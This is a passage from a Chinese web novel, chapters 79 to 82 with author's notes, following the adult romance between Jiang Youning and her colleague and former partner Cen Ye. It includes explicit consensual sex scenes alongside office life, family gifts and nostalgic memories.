这种冥冥之中好像被看光了的感觉让姜又柠头晕目眩。 早知道她喝醉了就老老实实让岑曳抱着自己去睡觉,才不是玩这种幼稚小游戏。 把她的贵价口红浪费了不说,还把自己搭进去了。 “你刚刚已经猜出来一次了。” “什么?”姜又柠迷茫地抬头看她,“还是我的名字?你是不是把我的‘柠’字瞎写,不然我不可能猜不出来的!” “是繁体字。” 姜又柠愣了几秒钟,站起来生气地喊,“岑曳!我就说你耍赖!” 女人搂过她的腰,赤/裸的肌肤跟衬衫摩挲,姜又柠能够敏锐地感受到岑曳身上的温度。 “柠柠,我好像给过你改规则的机会了。”岑曳抱她很紧,要她不留缝隙地贴住自己。 “不行!我还要玩!”姜又柠气得脑袋发昏,“再来一次!” “再来什么?身上什么都没有,还怎么玩?”岑曳点了点她的唇,“你的底牌都被我脱光了。” “我,我还有裤子……” 女人笑出声来,“柠柠,你确定吗?” 姜又柠倏地清醒,她看穿了岑曳眸光中的戏谑。 这种情绪在她喝醉时被塞柠檬片的时候也出现过一模一样的。 “我不玩了!我要回屋睡觉了!”她转身就要跑,下一秒就被女人抓过来反压在落地窗上了。 这种单方面被看光的感觉刺激性很大,尤其身后的女人衣着整洁,她的脑子裏很快就炸开了烟花。 岑曳还在亲吻她的名字,姜又柠转头看向她的唇,上面是她的名字印下的口红印。 女人俯身吻住她的唇,舌尖探入唇齿内,勾出了她的软舌来回勾缠。 亲吻的水声接连不断,姜又柠的舌头麻麻的,脑子也麻麻的。 窗外的夜景很快就开始晃动,她双手撑着玻璃窗,努力睁开眼睛想要去观赏,却发现外面似乎下了雨,水雾覆盖了面前所有的美景。 眼眶内湿漉漉的,姜又柠哈着气,依旧在窗户上吐出白雾,脸颊贴着玻璃,冰冰凉凉的感觉形成了反差,她呆滞地感受着温热的指尖,看见自己的衣服全都混在了一起。 明明她继续游戏的筹码没有给出去,此刻身上却一览无余了。 临近新年,市区内会频繁地绽放开零零散散的烟花。 楼下还有路过的人群,纷纷抬起头来看向烟花。 姜又柠皱着脸蛋看向绚烂的天空,脑海前炸开白茫茫的雪花来。 她看不清那些行人的表情,却忍不住去想,这些人是不是看到了什么美丽的景色,所以露出了惊喜的神情? 是接连不断的烟花吧……? 嗡嗡的耳鸣声响起,烟花震颤不断,还紧紧塌着她的腰。 “漂亮吗?”女人凑近她的耳边,跟她共同欣赏白色世界裏惊炸的美丽。 像蝴蝶震颤双翅,蜻蜓绕着中心一团水痕点水,掀起层层涟漪。 姜又柠被震得说不出话来,只是张大了嘴巴,茫然地看向窗外。 “口水都流出来了。”岑曳用手背擦拭了她的唇,又吻上了她的嘴角,“我们柠柠,这个时候总是很美。” 时间徐徐流逝着,姜又柠根本无法分辨过去了多久。 她似乎晕了过去,又被惹得惊醒。 最后被岑曳抱着回了房间睡觉的时候,她感受到柔软的床,终于安心地睡了过去。 岑曳睡在她身边,轻轻拍着她的身体哄她入睡。 女人看向她红润的脸颊和柔和的睡颜,想着这样美好的日子终于不再是难言的梦了- 第二天周一,岑曳将姜又柠喊醒之后就下楼买了早餐。 回来的时候姜又柠还没有起,她便喊了她第二次。 伴随着被吵醒的烦躁和昨晚记忆一下子涌进脑子裏的羞耻,她在女人肩膀上狠狠咬了一口。 “好了好了,起床洗漱一下吃饭了。” 十几分钟过去,姜又柠才从浴室裏走出来,看见岑曳正在落地窗边收拾。 “附近的早餐店我们还没有一起吃过,不知道你能不能吃得习惯。” “肉包子,比我们小区楼下的馅儿多多了。”姜又柠满足地咬了一大口,正奇怪着女人为什么不来吃,走近一看才发现她在清理干掉的水渍。 白色雾状的一大滩颜色让她又一次想到昨晚激烈的状况。 岑曳按住她的腰腹不允许她躲,指尖迅速,玻璃窗不再是她呼出的白雾,而是她蹭上的口水。 她哭喊着说自己再也不跟岑曳乱玩游戏了,却被她扇了几下警告,‘要我跟你算算你之前在外面喝醉酒的账吗?’ 姜又柠越是不从,女人扇动得就越快,哪裏都麻麻的,崩溃得很。 脸颊再次因回忆迅速发烫,她恨不得让自己瞬间失忆。 岑曳没有回头,但却能够想象出她气冲冲的,张牙舞爪指着她骂的样子。 简直是神清气爽。 “烦死你了!”姜又柠急匆匆走回餐桌上,飞速吃完早餐换了身新棉袄就准备出门,“快点啦!我要出门上班了!不然要迟到了!” 岑曳脸上的笑容毫不遮掩,她开着车往部门去,还饶有兴致地放了悠扬的曲子。 姜又柠现在看到她就忍不住双颊发烫,“你昨晚疯了?” “有吗?”岑曳指腹捻了捻,“把我的手都泡皱了。” “你瞧瞧?”女人的手刚伸过去就被姜又柠一掌拍了回来。 姜又柠想要说说话来防止回忆钻进脑子裏,可她也不想跟旁边这个罪魁祸首说话。 “早上开周会,你要讲什么呀?”姜又柠便问了些工作话题。 “新的周一,我们柠柠开始努力了?” “当然了!” “把工作安排再详细确认一下吧,尤其是年后的。”岑曳说,“本来以为对接部门年后才会成立的,谁知道上周庄玟就带着人搬进新工作室去了。” 姜又柠也没细听女人说什么,她开会的时候跟上课的时候状态是一样的,明明在很努力地听,最后脑子裏什么都没有,反而是—— 今天吃什么? 上次好丢人。 岑曳我要杀了你! 到达部门没多久,所有人就进了大会议室开了周会。 会议内容果真跟岑曳在车上的时候讲的一样无聊。 结束前岑曳照常让在场的人提问三个问题,前两个都是工作相关的,以及年度奖金怎么发。 “第一个项目做得很不错,总部那边特别褒奖了我们,这次的奖金应该很可观。” 众人发出了欢呼声。 姜又柠正偷偷玩着手机,听到欢呼声抬眸看了一眼又垂下了脑袋。 她在跟同事一起联机打麻将,连输三局之后愤怒地退出了房间。 黑屏之后,她抿了下自己的嘴巴,觉得少了点儿什么。 “我口红呢?”姜又柠只觉得自己记性好差,摸了下口袋纸巾都在,就是口红不在了。 “最后一个问题。”岑曳没坐下来,双手撑在桌面上扫视着众人。 “谁见我口红了?”姜又柠压低了声音,还往地上看了看。 但她动作很小心翼翼,一不小心办公椅滑了下,她身体往前踉跄了下,椅子侧抬了下又重重摔下去发出了笨重的磕碰声。 没人提问,寂静的会议室内所有人的目光就都被她的动作吸引了过去。 姜又柠尴尬得很,紧张地看向了最前面的岑曳。 “在问我吗?”女人眉尾微扬,“昨晚不是扔在了家裏的落地窗那边吗,这么快就忘了?” 这话一出,众人的表情都变得意味不明起来。 “没问题的话就散会吧。”岑曳嘴角愈发上扬,率先走出了会议室。 领导一走,就有不少八卦的人主动看向了姜又柠。 “我……”姜又柠咬唇,“我,我在跟岑总监合租呢……” 打死她也不敢说实话啊。 “哎哟合租啊。”同事说,“岑总监刚来的时候对你态度就很好来着,现在叫合租,没过多久就得叫同居了吧?” 另一个同事则是同情地看向她,“跟领导合租,真的是委屈你了又柠。” 跟领导合租…… 其中的酸甜苦辣只有姜又柠知道。 生病时吃的药是苦的,喝醉时被喂进嘴裏的姜片是辣的,相拥入睡是甜的,做/爱的时候她的身体酸酸的、也涨涨的。 一大群人陆陆续续从会议室裏走出来,姜又柠完全不敢回忆自己刚刚经历了什么丢人的事情。 这下睡不着时候的日常反省又可以多上浓墨重彩的一笔了。 姜又柠忍不住,没等几分钟就敲开了岑曳的办公室。 “你干嘛在开会的时候聊我的口红啊!” 女人抬眸,见到她毫不意外,“我还以为你在问我第三个问题,难道不是吗?” “岑曳你是故意的!” “对。” 听见她爽快地承认了,姜又柠更是没有办法了。 “你都把我纸巾塞进口袋了,为什么不把口红也装进去啊?害我出丑!” 要不是这个用了一半的迷你纸巾被装了进去,她肯定不会怀疑口红是在会议室裏丢的了啊。 “哪有出丑啊。”岑曳走进来碰了碰她的脸,“我们柠柠脸红的样子很可爱啊,昨晚也是,早上也是。” 想到早上姜又柠就生气,她不太记得昨晚事/后岑曳有没有抱住她去洗澡了。 但早上醒来的时候身上很清爽,可她去洗漱的时候,却发现后腰上用口红写下来的名字没有洗掉。 因为睡觉磨蹭掉了不少痕迹,第三个字还能够依稀辨别出繁体字的模样。 平常的时候一天清理一百次房间,洗八百遍澡! 这个时候就不给她洗掉名字,也不早点洗落地窗那团乱糟糟的水渍了。 她烦死岑曳会一时兴起的坏心思了。 “你这个人怎么这么坏?” “你不就喜欢我这样吗?”岑曳的手指勾了勾她的下巴,“那我改?” “我可不是那种谈了恋爱就会逼着对方为我改变的人。” “哦,那就还是喜欢我这样啊。”岑曳啄了下唇,“姜又柠同学,我下次会再接再厉的。” 姜又柠双手捂住耳朵崩溃地逃离了办公室—— 作者有话说:[狗头叼玫瑰][狗头叼玫瑰] 第80章 姜又柠的购物车被岑曳一键清空了, 包括她下单了好久但不舍得买的十几只大牌口红。 女人美名其曰这是弥补,但姜又柠只觉得她是在挑选红笔色号。 猜字游戏她以后再也不会跟岑曳玩一次! 晚餐时分,姜又柠嘴裏吐出一口鱼刺, 盘算着还有几天就会过年。 家裏的东西搬过去新家不少,此刻空了一大半,看着干净又利落。 岑曳见她吃得艰难, 难得给她递过来一杯果汁,还是冰镇的。 客厅裏确实热, 暖气开得足, 姜又柠吃得身上黏糊糊的, 都是汗。 她吃得发困, 鱼刺倏地卡在喉咙裏她咽了下被刺痛,随后猛烈地咳嗽了几下。 岑曳快步走过来帮她拍着后背,给她找了醋咽下去。 缓解之后,她的眼睛都红红的, 蕴起了一层水雾。 “岑阿姨寄来了一些东西, 下午我代你签收了,在玄关那儿放着呢。”姜又柠吃饱喝足才想起这茬儿。 距离过年只剩下四五天了,她直接请假到了年后,但组长告诉她有些紧急的工作她也得做,不能耽搁进度。 所以尽管请假休息了, 但她也得时不时抱着个电脑忙。 “寄来了些补品, 回头给姜阿姨送过去。”岑曳大致查看了下, 将几个盒子拿过来放在她面前。 “我的?”姜又柠指了指自己,“这么大的盒子?” 女人示意她打开看看,裏面是产自于陶家的一套珠宝,在灯光下还闪着亮晶晶的光芒, 分外好看。 陶氏珠宝姜又柠之前是见识过的,她听江诗文聊了好几次,此刻手上的盒子真像是烫手山芋。 “太贵重了吧?我之前已经收了一个金镯子了。” “没多少钱。”岑曳忙完才开始坐下来吃饭,姜又柠吃了一半她也不嫌弃,慢条斯理地往嘴裏塞。 “那我怎么还你嘛……” 姜又柠有些为难,她跟姜鸿英连珠宝牌子都没怎么听说过,面对这么昂贵的礼物首先考虑到的无法给予对方同等的回报。 “为什么要还?”岑曳说,“这是你该拿的,她把你当女儿,对你好是应该的。” “我……”姜又柠抿抿唇,小心翼翼地将盒子盖上了,“我会好好保存的,回头我让我妈妈也……” 她想了半天都不知道该怎么说,姜鸿英的那些手工制品此刻在她看来不够真诚。 “说了不用还,送人礼物总想着回报,那送礼的这个人可不够厚道。”岑曳说,“而且礼物中手工的最为真诚,算是无价之宝。” 姜又柠翘了翘嘴唇,“你就会说这些好听的。” “实话而已。”岑曳捏捏她的脸,“我们柠柠值得一切好的。” 拿了好处的结果就是今晚姜又柠一直想着这些,所以她被岑曳毫无顾忌地支配,要她趴着就趴着,要她自己抱起双腿就抱。 岑曳将她抱住双腿的手和腿分别在两边捆起来,毫无保留的姜又柠咬住唇,整个人都被女人的吸/吮弄得双眸失去光亮,整个人陷入呆滞当中。 早上醒来之后女人的身影就消失了,桌上一如既往放着冷掉的早餐。 岑曳的准备一直很充分,不管她吃不吃,但一定会准备。 反正女人不在,姜又柠也懒得加热,拿起冷掉的包子和豆浆就往嘴裏塞,顺便看看邮件箱裏组长有没有给她发文件。 邮件箱全部已读,手机上也没有工作消息,她吃饱之后便继续去睡回笼觉,一觉就睡到了下午。 冬季的被窝过于舒服了,她甚至能在被窝裏冬眠。 翻看相册的时候,她发现自己在国外的时候,住在岑家那栋别墅裏拍下的几张照片。 是岑曳小时候拿到的琳琅满目的荣誉证书。 这个女人无论什么时候都过得很辛苦呢,把自己绷得那么紧。 现在也是,明明说着回国是为了她,但工作重担压在她身上的时候,她还是毫不犹豫地接下来了。 她将狐貍玩偶抱在怀裏,脸埋进去吸了一大口。 因为两个人现在在用同一款青柠味的手工皂,所以玩偶上面的味道也一模一样。 姜又柠用手指戳了下狐貍的鼻子,手感是冰冰凉的。 她塞进被窝裏,用腿夹住了。 一个人睡觉的时候总是很想岑曳,她喜欢岑曳抱着她睡。 从后面彻彻底底地包裹住她,十足的安全感萦绕而来,她将会睡得十分安心舒适。 姜又柠最近也总是在梦跟岑曳有关的梦,梦裏她会去做那些自己之前根本不敢想的事情。 比如在分手的时候就出国去找岑曳,偷偷在总部围堵她,就跟她之前在学校等她出门一样。 见不到不会惋惜,但哪怕见到了一眼,都会格外满足。 现实裏她不知道她要是真的那样做会发生什么,可梦裏的岑曳太难掌控了。 在她刚刚出现在总部门口没多久的时候,岑曳就从公司大楼裏出来,直勾勾地朝着她走过来。 眸光裏很痴迷,步伐坚定,就像已经知道她会出现在这裏一样。 她被岑曳拉去公司,在满是高层的重要会议上当众宣布这是她的女朋友。 周围的目光一道比一道毒辣,有尖酸有刻薄有嘲讽,但唯独没有恭喜和雀跃。 岑千兰怒气大发,但最后她们母女两人也被赶出公司,岑曳也因为这件事情彻底跟她断绝了联系。 这个梦的结果很差劲,姜又柠很快就醒过来了。 她只是觉得很烦躁,明明她跟岑曳彼此爱得这样深,为什么梦却不给她实现愿望的机会? 她想要跟岑曳不分手,她想要做跟岑曳异国恋四年,但每星期都会飞到国内国外见面这样甜蜜的梦。 大概是现实裏足够圆满了,所以梦中总会有很多小插曲。 醒来之后,她收到了岑千兰的消息,问她礼物喜不喜欢。 姜又柠又绞尽脑汁想出了一大堆话发了过去,岑千兰依旧回她【喜欢就好】,后面还加上了一个爱心。 她不确定岑千兰的情绪是开心的还是平静的,等岑曳回来之后她便问了。 “你总得给她一些时间让她来变得更加温柔。” 岑千兰现在已经去了欧洲见老朋友,心情是很不错的。 岑曳对于岑千兰现在的态度很意外,以往岑千兰哪裏会对她有过这种好态度? 可见的改变让岑曳对于过去稍稍释怀了一些。 好像她小时候受过的罪多一些,现在的姜又柠就会得到更多的宠爱,这样一想,她对小时候的生存环境也没什么好抱怨的。 “我怕哪句话说得不好,惹得岑阿姨不高兴。” “你担心这些才会让她不高兴。”岑曳思索再三,还是跟她讲了岑千兰初到职场遇到的那个女孩子的故事。 姜又柠听得掉下眼泪来,“所以她在用我弥补那个女孩子?” “不算弥补,出狱她们见面的那天,两个人都是很高兴的,虽然后来的结果不算好。”岑曳不让姜又柠有任何心理负担,“她只是喜欢你这样灿烂的孩子,送你礼物只是因为你是姜又柠而已。” “我就是怕,我之前跟你谈的恋爱真的会对你造成什么影响……”姜又柠很心疼岑曳,这个女人在她看不见的地方吃了很多苦。 她刚开始工作的时候,根本不敢跟姜鸿英喊苦喊累,连医院都是自己一个人去。 岑曳在总部的工作强度那么大,她到底是怎么承受下来的? 她听江诗文说了,岑曳刚到总部没靠任何人,位置都是自己拼的。 总部那群人精各有各的能耐,要是傻一点绝对会被吃得骨头都不剩。 “总是想这些乱七八糟的,请假在家就做这些事情?”岑曳把她从床上抱起来,给她穿了衣服,“出门吃晚饭吧。” “吃什么呀?今晚我听你的。” 岑曳思索了下,“还真有个想去的地方。” 车子开了一个小时,甚至地方都有些偏了,可姜又柠却越看越熟悉。 “要回岑家了?”姜又柠说,“是不是要吃楼下的面馆?” 姜又柠喜欢吃这家面馆裏的牛肉粉,还要另外加一份十块钱牛肉的那种。 “猜得不错。”岑曳扬了扬嘴角。 “我都快……五年没来这儿了。”姜又柠看向窗外,“这儿一点都没变,不像新市区那边。” “A市的发展中心早都变了,这边也只会越来越旧。” 两个人在楼下嗦了碗牛肉粉之后便进了家裏。 这裏许久没有住人,但定期还会请人来打扫,此刻也干干净净得很。 “还以为分……”姜又柠没有说出‘分手’这两个字,“还以为永远都不会再来这儿了。” 她对这裏的印象太深刻了。 家裏没有房子,最开始的雇主脾气也不怎么好,岑家这个老房子完完全全留下了她所有美好的回忆。 她在客厅黑色的茶几上趴着写作业,却被岑曳一遍遍提醒直起腰来。 在餐桌上要偷偷在姜鸿英看不见的地方,把留给岑曳的排骨全部吃掉。 还有角落那个百宝箱,现在裏面空荡荡的什么都没有,但姜又柠总觉得裏面还能拿出些她喜欢的东西来的。 “你回国之后来过这儿吗?” “没有。”岑曳站在客厅中间,一时之间脑子裏也涌现了很多过去的回忆。 在谈了恋爱之后,这栋房子完全是她们的秘密基地。 她们在这栋房子的很多地方都留下了湿漉漉的痕迹,她们都喜欢新奇的,刺激的。 姜又柠放得开,岑曳也喜欢她某种方面的大大咧咧。 就像是天作之合,姜又柠凭空出现在她的生活裏,给她平静无波的湖面砸下了层层涟漪。 而姜又柠也常常抱住她喊姐姐,甜甜蜜蜜地喊,颤抖个不停地喊。 就像是彼此的救赎,她们都在对方的世界裏打进了一束温暖的阳光。 姜又柠跑到茶几那边,再次半跪下来,双手撑着下巴眼睛亮亮地看她,“岑曳姐姐,这道题我不会做哎!” 岑曳走过去,笑着问她,“哪一道?” “怎样爱你这道题。” 女人勾了勾唇,“你不用做都已经是满分了。” 姜又柠倏地鼻子发酸,站起来抱住她,“姐姐,幸好你还爱我……” 幸好她没有放弃,不然姜又柠再也没有挽回过去失败感情的机会了。 岑曳嘆了口气,轻轻地抱住她,罕见地没有说话。 姜又柠抬眸看她,似乎也看到了女人眼眶中的湿润。 这是她第二次见到岑曳面容上的情绪波澜。 第一次是她提了分手,岑曳抱住她说‘我们不分手。’ 而第二次就是现在,姜又柠紧紧地搂住女人的腰,郑重地喊,“姐姐,我们要永远在一起!”—— 作者有话说:快要完结了呢~ 每次睡前回想这本连载,都会很难受不知道为什么,感觉我们小情侣过得很苦很难,明明我已经努力让她们没有经济负担了,可为什么生活还是这么苦…… 写其它书的时候没有共情难受过这么多次的[爆哭][爆哭] 书裏没有一个人犯了错,每个人都在不同的时机做出了自认为对别人好的事情,但事情的发展就是不太满意,好在修成正果了~《 》 第81章【VIP】 第81章 两个人没在岑家逗留多久, 手牵着手在熟悉的街道散步。 景色依旧没变,几年过去了也还是老样子,姜又柠往周围看着, 好像回到了许多年前的时候。 饭后她们偷偷在楼下的面馆吃饱饭,十指紧扣漫无目的地四处闲逛。 那个时候天真地以为能够永远这样烂漫下去,可分别了四年到现在, 姜又柠居然又萌生了同样的想法。 她不再觉得这个想法天真,因为她们现在在共同努力, 朝着同样的目标奋斗。 转角处还有老奶奶在卖棉花糖, 只是她的白发更多了。 岑曳顺着她的视线望过去, “想吃吗?” “……想。” 姜又柠不会再心口不一地说‘这是小孩子吃的’, 她知道岑曳会把她宠成永远长不大的小孩子。 五块钱买了个白色棉花糖,姜又柠伸出舌头舔了一口,递过去给岑曳尝了尝。 “有点甜了。”姜又柠抿了抿唇,舔掉嘴角沾到的, “小时候觉得特别好吃来着。” 岑曳没说话, 只是看着她继续一口口吃着棉花糖。 没过多久就走到了车子边,姜又柠将最后一小团棉花糖卷成小块,一口全塞进了嘴裏。 甜蜜瞬间在口腔内融化开,腻得她眯了眯眼睛。 岑曳的手落在副驾驶的车把手上,但没有拉开。 姜又柠疑惑地看向她, 下一秒女人的吻便落了下来。 她吻得很急, 像是压抑了很久似的。 “在客厅的时候我就想这么做了。”女人压低了声音, 在她耳边轻轻开口。 温热的气息喷洒在姜又柠的颊边,她因痒意被迫瑟缩了下。 岑曳的手指落在她的后颈,不轻不重地揉捏,带着十足的掌控欲和痴迷。 “柠柠……”她轻轻喊她, “再喊我一声姐姐好不好?” 姜又柠咬唇,“姐姐……” 女人笑意很满,她再度吻上了她的唇,带着啃咬和纠缠,舌尖撞了撞她紧闭的牙齿,下一秒就冲进了口腔。 她的舌尖刮着姜又柠的上颚,痒意让姜又柠呜咽出声来。 口水和喘息都被吃掉了,带着没能彻底散开的棉花糖的甜,两个人逐渐动了情。 呼吸被剥夺,姜又柠仰了仰脑袋,却被女人捏住后颈再度抓回来。 岑曳吻得更凶了,像是在不满她的躲藏。 双唇紧紧贴住,不留任何缝隙,细细密密的水声响起来,两个人吻得难舍难分。 热吻持续而又缠绵,姜又柠完全没了力气,整个人都软绵绵地半倒在女人的怀裏。 “又醉了?”岑曳舔了下唇,指尖点了点姜又柠的嘴角。 “还不是因为你……”姜又柠大口喘着气,粘腻地嗔怪,“还有人呢……” “不用管。”岑曳看了眼时间,将她抱上了副驾驶的座位,“时间还早,还想去哪儿?” “要去我学校吗?我好久没吃小吃街上的烤冷面了。”姜又柠说得很小心,怕岑曳又觉得那是垃圾食品。 但她转念一想,她现在可是老大,岑曳管不着她呢,便加重通知的语气,“我就想吃!带我去!” “不是刚吃过粉?” 姜又柠反驳她,“你嫌我能吃?” 岑曳知道再对话下去就是双方都觉得毫无意义的狡辩,所以她沉默地启动了车子,送这位大小姐去大学校门口的小吃街。 临近过年,学校这会儿都放寒假了,小吃街空荡荡的,就只有零零散散的几个小吃摊。 姜又柠到了才知道自己白跑了一趟,“完了,我把放寒假这事儿给忘了。” “没事儿,来都来了,要不要也在附近走走?” “好啊。”姜又柠去买了杯手工制作的奶茶,将第一口喂给了岑曳。 岑曳看向校门口,校门那儿似乎重新装修了,灯光很亮,连油漆也新得很。 “我还在学校的时候就说大门要翻新来着,上了四年都没翻新,一毕业之后立马翻新了。”姜又柠吸了口奶茶,拿着手机拍了张校门口的照片,心满意足地欣赏。 可行人出去的口没变,岑曳盯着看,想起了很多过去的事情,当时她就站在不远处的大树下,等着姜又柠什么时候能从这个口子裏出来。 分别的那四年,她等啊等,真就一次机会都没能等到。 转身看向那棵大树的时候,岑曳也没有找到大树的痕迹,只是一棵被修剪过的小树苗。 “树都变了,这裏变化还挺大的。”岑曳感慨一句。 “你说你原来经常等我的时候待的那棵树吗?”姜又柠解释道,“大四的时候,有天晚上那儿出车祸了,有个人喝多了开着车撞上去了,没能要到赔偿,后来这人就举报说这树挡路,没多久就挖出来种别的了。” 女人嗤笑一声,也没继续评价什么,拉着姜又柠慢悠悠地闲逛。 “我还挺意外的。”姜又柠倏地开口。 “意外什么?” “之前你来给我送吃的,那个时候你工作忙,我们都是匆匆见了一面你就走了,从来没有像现在这样,手牵手在学校附近散步。” 还是学生的时候,谁乐意放假在学校待啊,所以她无论是周末还是寒暑假,都要缠着岑曳找时间陪她,目的地当然不在学校这一圈儿。 “嗯,确实很难得。” “我发现你今晚很沉默。”姜又柠喃喃着,除了刚刚接吻的时候,情绪一直很沉。 “就是很多回忆一直往脑子裏钻。”岑曳坦率地说,“好的,不好的,都跑过来了。” 姜又柠不知道该怎么回答。 不好的回忆好像都是她带来的。 她真坏,她伤害了岑曳,却还能得到岑曳毫无保留的爱。 想到这裏,姜又柠格外挫败。 “怎么把你也带得没兴致了?”岑曳捏捏她的脸,“那是我的问题了。” “不好的回忆都有我,是不是?” 姜又柠觉得自己做得还不够,她意识到自己还喜欢岑曳的时候就想着弥补了。 可她不仅没有弥补,女人反而仍然是付出最多的那个,她觉得愧疚。 岑曳无奈地嘆口气,“你不该这样想。” 她看着路灯将两个人拖得长长的影子,嘴角微微上扬,“我所有的回忆都是你,柠柠。” “你就是最好的,什么样的你都是最好的。” 她过去的世界裏,姜又柠横冲直撞得哪裏都是,这样被她填满,也是一种别样的幸福- 这一晚的亲密中藏了很多回忆进去,岑曳很温柔,但始终没停。 她擦掉姜又柠眼角的眼泪,轻吻她沁出水渍的门扉,心疼地抱住她。 姜又柠很难形容当晚的感觉,好像从来没有这样过似的,她最近离岑曳越来越近了。 以前她以为岑曳温柔、有能力,现在她发现了岑曳情绪波动下的寡言。 这个女人会因为感动而变得眼眶湿润,也会因为无奈而选择沉默。 虽然岑曳只动手不说话,可呜咽的话全被姜又柠吐了出来。 “岑曳……”她的手伸出空中,轻轻抚摸女人的脸,“姐姐……” 她喊她,喊过去那个如同亲姐姐般的岑曳,也喊她现在的上司岑曳。 饱含着爱意和真心的水喷了一波又一波,姜又柠哭出声来。 无论过去还是现在,无论身边变了又变,可唯独她们的真心依旧纯洁无暇。 岑曳紧紧抱她在怀,哄着她睡觉,“我们柠柠之后过的都是好日子了。” 她会为她亲手创造美好的世界,而这个世界的阳光,是一颗名叫姜又柠的太阳。 姜又柠熟睡没有多久,女人倏地又想起一件事情来。 无人知晓。 她刚到总部,做成第一个大项目之后,有心人就开始给她使绊子了。 她年轻,有能力,气也盛,表面上笑容多,但背后裏不太喜欢这群阿谀奉承满脸堆笑的业界毒瘤。 新鲜的活力对于老人来讲都是一把尖刺,见岑千兰似乎也不太待见这个女儿,便小小地耍了个花招坑了岑曳一把。 项目做成了,但功劳成了别人的,岑曳第二个项目忙前忙后,最后什么好处都没捞到。 那一瞬间她有些茫然,想着自己努力的方向到底对不对。 这样下去,她可以见到姜又柠吗?可以用行动反驳岑千兰的话吗? 岑曳什么都没办法确定,唯一知道的是她太想姜又柠了,想得无法自拔。 寂静的夜晚,她偶然来国内出差,在酒店翻来覆去地睡不着,拿出了一个新手机,拨下了烂熟于心的电话。 那边响了很久才接。 ——“喂?” 姜又柠不接外地电话,她便找A市的新号码给她打,但她却不能说话。 ——“你是快递还是什么?” ——“怎么不说话?” 岑曳抿住唇,双手抓紧了自己的衣角,她终于听到了姜又柠的声音,还有细微的呼吸声。 跟睡在她怀裏的呼吸一样,稳定、平和。 女人吞咽了下,尝到喉咙的压抑和苦涩,她攥紧了手机,指尖都泛了白。 ‘照顾好自己,我很想你。’ 她在心裏面念着,却一个字都不能说出口。 ——“谁啊你……” 电话下一秒被挂断了,这通电话只有十五秒。 但足够了,她只需要听一听她的声音就好,知道她过得很好,没有不开心,她就知足了。 日子还得继续,她还需要一步步往上爬,只有掌握了足够的话语权,她才能够有正式调回国的机会。 …… 怀裏的姜又柠嘤咛了一声,岑曳垂眸问她,拍着她的身体安抚她。 姜又柠翻了个身,继续沉沉睡了过去。 女人吻了吻她的额头,悄声开口,“梦裏也要有我,知道吗?” 梦裏要有她,也只能有她—— 作者有话说:下章正文完结。 这本无论是阳历还是农历都没办法陪大家一起过年啦,想到之前除夕夜还在码字我就觉得自己好命苦br> 之后大家也要跟我们岑姐柠柠一样幸福快乐,只过好日子!《 》 【正文完结】 第82章 距离过年还有两天, 岑曳终于放假了,搬家的事情正式提上了日程。 由于之前已经搬了不少东西过去,所以忙碌的时间并不算多。 一些日用品和家具也早早送到了大平层裏, 岑曳总算有时间将整个家裏好好打扫一下。 姜又柠按照自己想要的吩咐岑曳摆放家具,没想法的就要岑曳自己来。 沙发过于笨重,两个人便一起推, 姜又柠累了便直接躺上去,岑曳无奈看她一眼, 只能多使点力气自己推。 姜又柠看她额头上沁出细汗, 用湿巾帮她擦脸, 还在她嘴上吧唧一口, 女人脸上的无奈很快就变成了笑意。 岑曳是卖力气的,她是卖情绪价值的,各有分工嘛。 “你倒是会耍花招。” 听到女人的评价,姜又柠摊手, “主动亲昵还不乐意?” “乐、意。”岑曳将姜又柠买一大堆低价批发小摆件往置物架上摆, 拖长了尾音道,“我乐意得很啊。” “明天除夕夜,我们晚上吃什么?”姜又柠嘆了口气,“还以为岑阿姨和我妈今年都能在家裏跟我们一起过年呢,谁知道各有各的忙, 就咱俩最闲。” “你想的话呢, 也可以跟我去公司加班, 正好人少,也清净。” 姜又柠随手抓起一个抱枕朝她扔了过去。 岑曳走过来将抱枕摆好,“你想吃什么?” “吃点日常的就行了吧。”姜又柠也不是很注重过节日的餐食,反正家裏就她跟岑曳两个人, 做太多也吃不完。 她可不想年后连着几天都在吃剩饭。 姜又柠报了几道家常菜,岑曳点点头,“行啊,明早超市也开门,不过关门得早,你要是想睡懒觉,我就自己去买菜。” “我跟你一起去,这儿的超市我还没去过呢。”姜又柠跟她闲聊,“你跟房东聊了吗?” “聊了,我们那房子不是过完十五到期吗?到时候找人打扫一下,拍个视频给她看,钥匙交给物业保存就行。” “办事真利索啊!”姜又柠开心地笑出声来,她就喜欢这种当甩手掌柜的感觉。 吃过午饭,岑曳就去午休了,姜又柠也没吵她。 她最近忙了太多事情,总得趁着过年好好休息。 姜又柠自己窝在沙发上看电视,新电视要比原来的大不少,清晰度也高,看起恋爱综艺来能抓到更多细节了。 趁着岑曳睡觉没注意到,她把前段时间更新的几期加更也抓紧时间看一下。 下午有快递按响门铃,姜又柠签收了后,往房门的方向看了一眼。 偷偷拆掉将裏面的东西拿出来之后,她立即把包装袋扔到了楼下的垃圾桶。 这栋大平层两梯一户,她可不敢给岑曳留下任何发现的机会。 她反锁掉卫生间的门,将衣服拿在手心裏,“就这么点儿啊……还有绳子……?” 姜又柠将绳子扯出来,在手腕上缠了好多圈还剩下很长一截,她点开商品详情界面,仔细研究了一番,“……哦,不止是捆手的啊……” 几百块就这么点料子…… 啧,真不值。 听见客厅的动静,她立马将东西藏进袋子裏往外面走。 “你醒了?不再睡会儿?” 女人手裏拿着杯子喝热水,看她鬼鬼祟祟的动作,勾唇问,“一个人干嘛呢?” “没干嘛啊。”姜又柠一只手藏在身后,伸出来另一只手,“明天不是除夕吗?我研究研究干点什么。” “在厕所研究啊?”岑曳扫了眼电视,“又开始看恋爱综艺了?” “没有啊。”姜又柠脸不红心不跳地把电视关掉了,“这是重播的吧?这对cp你也认识啊,它应该是自己跳出来的。我刚刚看新闻呢。” 岑曳没戳穿她,“下午快递帮我签收了吗?” “签了,是不是红酒?”姜又柠跟着她一起去看,“我没拆开呢,但猜出来是了,要明天喝吗?” “今天喝也可以。” “不要,那多没情调啊。” “情调?”岑曳看她一眼,“明天喝有什么情调?” “除夕夜的酒嘛,喝起来感觉肯定不一样的。” 岑曳笑了笑,将两瓶红酒从盒子裏拿出来,“庄玟跟诗文送的乔迁礼物,她们还在国外,暂时回不来。” “我倒希望她们晚点回来,不然庄玟一回来,你又得去部门加班了。” “现在视频会议更麻烦。”岑曳打开电脑看了看邮件箱,“还是面谈解决问题更快一点。” 姜又柠在她身边坐下靠着她,“很快就要迎来我们的第一个新年了。” 岑曳感受到她的感慨,“不是第一个,好好想想是第几个。” 姜又柠掰着手指算,“十二岁到现在,得是第十二个了。” 